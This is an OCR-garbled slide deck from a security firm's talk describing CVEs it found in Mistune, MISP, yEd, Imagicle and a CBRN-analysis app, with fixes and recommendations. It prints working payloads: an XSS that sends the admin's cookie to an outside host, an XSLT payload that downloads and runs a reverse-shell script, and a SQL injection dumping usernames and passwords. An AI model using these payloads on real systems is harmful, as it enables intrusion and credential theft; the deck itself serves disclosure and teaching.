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Introduction

« CEO and Cybersecurity Expert in Zigrin Security

12 years of cybersecurity experience
* Industries
* SaaS
* Military

e Healthcare

 Banking & Insurance
e E-commerce
e You can read about some of them here:

WWW.zigrin.com/advisories



http://www.zigrin.com/advisories
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Company

We are a team of cybersecurity perfectionists and experts who
offer you specialized knowledge and years of experience in software

and hardware security testing.

You can read about how we help our customers get

more secure; www.zigrin.com/casestudy



http://www.zigrin.com/casestudy
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Do you play CTF?

Mistune

« Hack.lu CTF 2017
* Python Markdown parser * ctftime.org/task/4773
* github.com/lepture/mistune « Send a message to the

admin
e Steal the admin’s cookie

import mistune ¢ Admln ClleS On a” |IﬂkS

mistune.html(your_markdown_text)

Goal: XSS
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Do you play CTF?

| found footnotes

 Reading documentation
g That's some text with a fcn::tnotm
* Sendlng SOMe payloads And that's the footnote.

* Playing with local setup

It will be converted into HTML:

1e text with a footnote.<sup class="footnote-ref" id="fnref-1"><a href

;is="footnotes"=>

Found XSS '><p>And that's the footnote.<a hr'ef:"#frur'a:‘-;:;:”F:::otnc:te“::-:':'-.. 617 ;</a></p></11i

Footnote 1 link[~first" onclick="alert(1l}].
[~first" onclick="alert(1l)]: Footnot

| stole admin’s cookie and got the flag

Footnote 1 link["first" onclick="window.location.href="https://requestb.in/
pmppk3pm?www="+escape (document. cookie)].

[*first" onclick="window.location.href="https://requestb.in/pmppk9pm?www="+escape
(document.cookie)]: Footnot
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Do you play CTF?

* Turns out, you can XSS
* on the latest version (at the time of the CTF)
 with default configuration

 0-day found in a CTF, nice

 Reported diretly to the Mistune maintainer

« CVE-2017-16876

 CVSS: 6.1 Medium

Cross-site scripting (XSS) vulnerability in the _keyify function in mistune.py in Mistune before 0.8.1 allows remote attackers to inject arbitrary
web script or HTML by leveraging failure to escape the "key" argument.

Metrics | cussversionso DRE e IR \/sS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 3.x Severity and Vector Strings:

ﬁ L NIST: NVD Base Score: | 6.1 MEDIUM Vector: CVSS:3.0/AV:N/AC:L/PR:N/UL:R/S:C/C:L/I:L/A:N
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MISP and phar deserialization

Digtribution gra

Malicious activities splay | | TFilars

Event 10 ! [
4 —

Open Source

Threat Intelligence

Platform

=Pnots = Galaxy ¥ Eventgraph 4o

View Dashboard Authentication Failure Data [ & Authentication Failure Data [’ &

in this Threat
Sharing univ

Next on your list:
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MISP and phar deserialization

 Phar - PHP application in a single file - PHP Archive
e phar:// stream wrapper
e Useful for developers to run bundled scripts and perform admin

tasks

<?php

3 file_get contents( pha":fffva"fwwwfhtwlfwypha".pha"fwyfile.txq ik



MISP and phar deserialization

* Phar deserialization occurs when an attacker
* Uploads a phar file on a webserver
 Knows the absolute path of that file
 Can put input at least at the beginning of functions
that understand phar:// wrapper
* Note: Uploaded file can have .zip or .tar extension

<?php

file get contents{"phar:///var/wwa/himl/malicious.zip");

ZIGRIN

Rl securiTy
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MISP and phar deserialization

. PoC || GTFO
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MISP and phar deserialization

Vulnerability from 2019

Reported directly to CIRCL team

Assigned CVE by CIRCL team: CVE-2019-12868
CVSS: 9.1 Critical v & © mEmE app/Model/Server .php (0]

F:' B -3076,6 +3076,9 @@ public function beforeHookBinExec($setting, Svalue)
public function testForBinExec($value)
i
if (substr($value, @, T7) === "phar://"} {
return 'Phar protocol not allowed.';
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (Svalue === '') {

9 @@ public function testForBinExec($value)

public function testForWritableDir($value)

i
3100 if (substr($value, @, 7) === "phar://") {
3101 return 'Phar protocol not allowed.';
3182 1

3183 if ('is_dir($value)) {

return 'Mot a valid directory.’';




RCE in a diagram desktop app

yEd is a free desktop application to create, import, edit, and automatically

arrange diagrams

)
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Basic editing with yEd
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RCE in a diagram desktop app &) o

* Attack vector - import functionalities - remember it :)

* Diagrams are saved as XML files

* Application allows to perform data transformation - XSLT
(Extensible Stylesheet Language Transformations)

* XSLT documents define how to transform XML into other

formats



RCE in a diagram desktop app

xml.xml

<?xml version="1.0" encoding="UTF-8"7>

<catalog>
<cd>

<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>

</fcd>
</fcatalog>

https://book.hacktricks.xyz/pentesting-web/xslt-
server-side-injection-extensible-stylesheet-

language-transformations

|
|
<html>
<hody>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#%acd32">
<th>Title</th>
<th>artist</th>
<ftr>
<tr>
<td>CD Title</td>
<td>The artist</td>
<ftr>
</table>
</body>
</html>

ZIGRIN
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xsl.xsl

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.o0xg/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="{9acd32">
<th>Title</th>
<thrartist</th>
<ftr>
<tr>
<td><xsl:value-of select="catalog/cd/title" /></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</hody>
</html>
<fxsl:template>
<fxsl:stylesheet>
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RCE in a diagram desktop app

 What can go wrong with transformations?




RCE in a diagram desktop app &

Text editor is not enough?

//xml.apache.or
ml.graphdrawing.
F, v '.'-'. '.'-', i, '::'.' ! J 0 rk : . :: om/ -.‘.-E
LWl W3 .0 ':

Channels="java.nio.channels.Channels
JRL="java.net.URL" select:="Channels:newChannel (URL:openStream(URL:new( 'http://127.06.0.2/reverse-shell.sh'})

1
— = +

FileQutputStream:getChannel (FileOutputStream:new('script.sh'))" name="out
Output5tream="java.lo.FlleUutputstrean
“t="%0ut
lect="FileChannel:transferFrom(%out, %$in, 8,
1="] ls.FileChannel

exec (Runtime:getRuntime(), *bash -]
ss:waitFor($process)" name="waiting

W .w3.0rg/2001/XMLSchema-instance
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RCE in a diagram desktop app

» Text editor is not enough?

Eile Edit Miew Layout Tools Grouping Windows Help

(] overview 3 8 x | @ test-data.xml x 4 b+ B |3 Pa

dawid@dawid: fopt/yEd
File Edit WView Search Terminal Help

dawid@dawid:~-$ nc -nvlp 1234

Listening on [8.8.8.0] (family 8, port 1234)
{Connection from 127.0.8.1 36024 received!
dawildigdawid: /¢ yEGS | |
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RCE in a diagram desktop app

* Reported to the vendor - CVE-2020-25216
« CVSS: 8.3 High
" Fix - limiting XSLT functionalities?



Call recording platform SQL injecton

* Imagicle Application Suite - Attendant Console, Call

Recording, Digital Fax, Call Analytics, and more.

ﬂ Imagicle Application Suite X

&« C @ localhost/fw/frame/main.htm or e

» )
Apphcationsuite m & & B 1B & 8

for Cross Platform

Billing ' Home | Dashboard Interactive Reports Scheduled Reports  Create Alarm  Scheduled Alarms  Administrative Pages

Last Calls My dashboard

Top 10 20 50 100 200 Refresh
TYPE EXTENSION  EXTEWSION NAME NUMBER DATE TIME DURATION COST GATEWAY NAME

@ ovH 105 10/4/2018  3:36:44 PM  00:00:00 0.00Pbx1 0

@ 105 _105 OVH 10/4/2018  3:36:44 PM  00:00:00 0.00Pbx1 "i"l"i“ . R
£ OVH 105 10/4/2018  3:36:00 PM  00:00:05 0.00Pbx1 = TR mOTT S
b 105 _ 108 OVH 10/4/2018  3:36:00 PM  00:00:05 0.00Pbx1

<> 105 _ 105 OVH 10/4/2013  3:29:04 PM  00:00:57 0.00Phx1

{3 ovH 105 10/4/2018  3:2%:04 PM  00:00:57 0.00Pbx1 0

“; Current month total ca

ZIGRIN
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Call recording platform SQL injecton

Standard grey box web pentest
Application in ASP.NET

Export component

Interesting cookies

Can we inject someting in a cookie?

\n Actions Select extension... W

1 GET /fw/Apps/Speedy/html /new_ad_exportcsv. asp HTTR/2
2 Host: “

= cookie: aspsessIONIC|. i1
268436420 ) +UNION+ALL+SELECT+NULL, MULL, NULL, NULL, MULL, MULL, MULL, NULL, NULL, MULL, MULL, MULL, NULL , NUL
L, MULL, NULL, NULL, MULL, MULL, NULL, 'SOLI+result: ', username, user_password, null, NULL, NULL, MULL, NULL, M
ULL+FROM+users+- -+0dt

4 Connection: close

ZIGRIN
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Result - Full database exfiltration

Call recording platform SQL injecton

m \n Actions W

TR ML UL WL L WAL B R L N, L W WL L B "goLT

"SOLT
P saLT
cHm. "; ""; ""'_ . "", ""; "“. s '"'.’ 1 " "; ""; "SQLI
L uu.mn gy T
"SOLT
"SOLT
"SOLT
"SOLT
; "SOLT
"SOLT
"SOLI
"SOLT
"SOLT

S T L L L L

84
5 " o , "SOLI
B | "R, N RRo T ne i Sl el p Y TSOLT
g - ; | "SOLT
) "SOLI
9 "SQLI
0 "SQLI
a1 ; 'SOLI

; "SOLI
"SOLI
"SOLI
"SOLI

result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
result:
rasult:
result:
result:
result:
result:
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Call recording platform SQL injecton

Reported to the vendor

Vendor acknowledgment only on closed newsletter
CVE request through MITRE: CVE-2021-42369
CVSS: 9.9 Critical

ZIGRIN

(i@ SECURITY



Provide good recommendations - MISP and Phar
again

[EN8  ZIGRIN
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« Remember phar deserialization vulnerability from 20197
3 years later - 2022

* | found similar vulnerability in MISP once again



Provide good recommendations - MISP and Phar
again
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« What can we do as pentesters to help developers get

the most out of our reports?

Provide detailed recommendations!



Provide good recommendations - MISP and Phar
again
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« Do you remember previous fix?

* Disallow phar:// wrapper

6 EEEEE app/Model/Server.php L[;]

public function beforeHookBinEx

public function testForBinExec($value)

{
bstr(fvalue, @, T) === "phar://")
return 'Phar protocol not allowed.';

fo = finfo_open{FILEINFO_MIME_TYPE);
ralue === ":] I
n true;

tion testForBinExe

leDir($value)

1) === "phar://"} {




Provide good recommendations - MISP and Phar
again
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« Better fix: Disable phar altogether if it's not used

1 {

52 parent::_ construct($id, Ftable, Hds);
fthis->TindMethods['column'] = true;

Bl + if (in_array('phar', stream_get_wrappers(}}) {

S50 + stream wrapper_unregister('phar'});

BE | + 1

5O f/ deprecated, use $db changes

* Result: No more phar deserialization vulnerabilities in MISP

since then
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Provide good recommendations - MISP and Phar
again

 CVE assigned by CIRCL: CVE-2022-29528
e CVSS: 9.8 Critical

e Note: Since PHP 8 - No more auto metadata deserialization
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Desktop app for nuclear threats

« CBRN - Chemical, Biological, Radiological, and Nuclear
« CBRN-Analysis - Knowledge Management, Hazard Prediction, and

Warning and Reporting capability for CBRN threats



e S n C e e S ZIGRIN
[ CBRM-Anadysis - JOINT PROTECT - o x
£ File Map Callc £ o Exercise W
ALFA Report ty Time
= GBOO C CBRN 1 CHEM € £ 030830ZFEE20NE
I =GROOC CBRMN 2 CHEM € { 030930TFEEI0ME
S /@  -GRONIC  CBRNICHEM (( 0S0930ZFER20IE
B -GBOOIC  CHRNICHEM ( { OMN3EFEEINE
v i®  -GeonC CHRM 3CHEM  ( { 0S0S32TFEEIONE
4 - GROm ¢ CHAN ICHEM ¢ { OS0S30ZFEEEME
¢ . [eTE]=
~
Latwpdste 0510002 FEB 2018 | Recakulse
~
ALFA T Unit Hame | Eafy Arrnad Late Arsiwal Aren e Tene of Imcident  Meth ML B
-THCOOZC  4STRKE  OSOS39ZFEB2018 Hazard Area CERNICHEM 050935ZFEB2018  AEP-45
-SEADMC  FRIGATE  05100'ZFEB2018 O51106ZFEB20NE 105 CERNICHEM  D50MSZFER20TE CHL
-RADOOGR  BE/URA Long Term  CBRNIRAD  051025ZFEB2018 AEP-45
-NUCOEBN  2C5 0511452FER018 Zone 2 CBRNINUC  051MM0ZFEBI0IE  AEP-45
-GBOOIC  B/RDG  OS1000ZFEB2018 (0511MZFEB20TE Hazard Ares CERMICHEM 050930ZFEB20NB AEP-45
-GEOOIC  A/IRIFLES OSOS30ZFEB2018 OSOS4IZFEB20TE Atteck Ares CERNICHEM 050930ZFEB20NB AEP-45
-GEONIC  C/IRIFLES OS053G6ZFEB201G OS1MOZFEB20NE Hazard Area CERMICHEM 050930ZFEB20NS AEP-45
-GBOOIC  ARDG  OS1000ZFEB2018 (05112SZFEB20NE Hazard Ares CBRNICHEM 050530ZFEB20NB AEP-45
-GEONIC  B/IRIFLES O51000ZFEB2018 051059ZFEBI0NE Hazard Area CERNICHEM 050930ZFEB20N8 AEP-45
-BH)OOTB  1FPWG  OS1030ZFEB2018 OSIOMIZFEB20'E Attsck Ares CERNIBID  051030ZFEB20NB AEP-45
--CHEMOM  27RLC  051151ZNOV2Z0IE Batack Area  CBRNICHEM  051151ZNOVZUIB AEP-45
~ E Checklist =18
Fife | AN Chockist Imatances -
€. Checklist Ackriby L | kdentdfier | €. Checita Taske Basad on the recent ncident evaluz
|| = New extra steps
= More details
= Practical information ete.
Complate the checkist
®
(IE) Evatuste i updstes to this checist = need
_<_ < 3




Desktop app for nuclear threats

Fat-client windows app

Remember the attack vector from yEd diagram editor?

Attack vector: User and application configuration files

is PC » W10-1909 (C:) » Users » Public » Bruhn NewTech » CBRMN-Analysis » ini

Pl

Name

£ | communicationqadministratorfini

1| communication- dentester.ini
| communication ni
2| dialogsfadministratorni
__'I dialogs-pentester.ini
2 | dialngsni
;] dialogutilitythermne.props
] errordialog-administrator.props
2| frames-administrator.ini
k] gis.ini
S s o O
2| gis{pentester.ini
) gis[TEETni
2| gps.ini
_J hostinterface.ini

| inforeport ni

| inforeport-pentester.ini
i+ inforeportuserTlini

Date modified
5/20/2021 3:20 PM

23/2021 3:50 PM

e :l!).‘

[==]
L ]
- +=
r
-
j

/2072021 3:12 PM

8/23/2021 3:50 PM

8/2472021 3:50 PM

3/20/2021 3:18 PM
8/23/2021 5:22 PM

8/24/2021 3:46 PM
5/20/2021 3:12 PM
8/23/2021 2:11 PM
8/23/2021 3:50 PM
PM
PM
2PM

2 PM

(¥
P
[

3 P
[
j

J ad
j

8/23/2021 3:50 PM

8/24/2021 3:50 PM

T:.pr-_’
Configuratic
Configuratic
Configuratic
Configuratic
Lonfiguratic
Configuratic
PROPS File
PROPS File
Configuratic
Configuratic
Configuratic
Configuratic
Configuratic
Configuratic
Configuratic
Configuratic
Configuratic

Configuratic

ZIGRIN
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1{C:) Users » Public » Bruhn NewTech » CBRN-Analysis » References W

Desktop app for nuclear threats

* Impact?

(e

Fin

imé
Inst
Ma|
Rag

Tog

|| index.htm -|Notepad

File Edit Format View Help

<html>

<head>

<title»>CBRN-Analysis</title>

<meta http-equiv="refresh” content="3;URL="\ NN 81\file'" />

</head>

<frameset framespacing="8" border="false"” cols="196, *" frameborder="8">
<frame name="menu” target="main” src="menu.htm” scrolling="auto” noresize
<frame name="main" src="welcome.htm" scrolling="vyes" noresize>
<noframes>
<body>
<p>This page uses frames, but your browser doesn't support them.</p>
</body>
</noframes>

</frameset>

</html>

i - DEFAULT]
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| & @ F & References Shift+Fo
Ll aludih | B | Industrial é «
e Position Hazard Ra... | Recon Control
M Test

1 v CBRN AC

[+] Listening for events...

SP Client
' Usermame




Desktop app for nuclear threats

How to look for such vulnerabilities?

N10-1909 (C:) » Users » Public > Bruhn NewTech » CBRN-Analysis » References

~

Name Date modified Type
ATP-3 e index Properties X Jlefolder
[ 2
ATP4 . le folder
4 General Securty Detalls Previous Versions
css le folder
’ ERG Object name:  C:\Users\Public\Bruhn New Tech"CBRN-Analysis"\ le folder
3
Exam Group or user names: je folder
Find 1 §2 SYSTEM le folder
Gettin £2 BATCH le folder
Hardh 8% Administrators ministralors) ke folder
How le folder
; § SERVICE :
imag le folder
Install To change pemissions, click Edit. QEdl le folder
Mang le folder
Radia Pemissions for INTERACTIVE Allow Deny le folder
Tools Full control le folder
U — le fold
3 Read & execute .
What Read le folder
e i"dj Write flicrosoft
e ind Special pemissions icrosoft
€ ment - icrosoft
e welll ;?é‘ spﬁfaainmlsaons or advanced settings, B Ac_lvanced ] crosoft

ZIGRIN
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Desktop app for nuclear threats

 CVE assigned through MITRE: CVE-2022-45193
 CVSS: 5.9 Medium
* Fix:

 Configuration files stored in a user profile

* Configuration files with limited permissions
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Conclusions

* Pentesters / security researchers
* Participate in CTF competitions
* Look for file processing functions in PHP apps
 Examine format for data import functionalities in fat-client
apps
 Send your payloads in cookies
* Provide detailed recommendations

* Check file permissions




Conclusions
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* Developers

Keep libraries your app uses up to date

Disable phar wrappers altogether or host your app on PHP 8
Disable dangerous XSLT functions for XSLT from untrusted sources
Filter/validate cookie values

Look for generic fixes to vulnerabilities in your apps

Ensure file permissions are tight following least privilege principle
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Conclusions

* Security Engineers
* Create CTF challenges around your applications :)
* Push for PHP 8
« Recommend simpler mechanisms for data transformation than
XSLT
 Configure your DAST scanners to target cookies
* Look for generic fixes to vulnerabilities

 Automate file permission checks
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.Now go and find your own CVE

* Follow Zigrin Security on LinkedIn

@ linkedin.com/company/zigrin-security € www.zigrin.com
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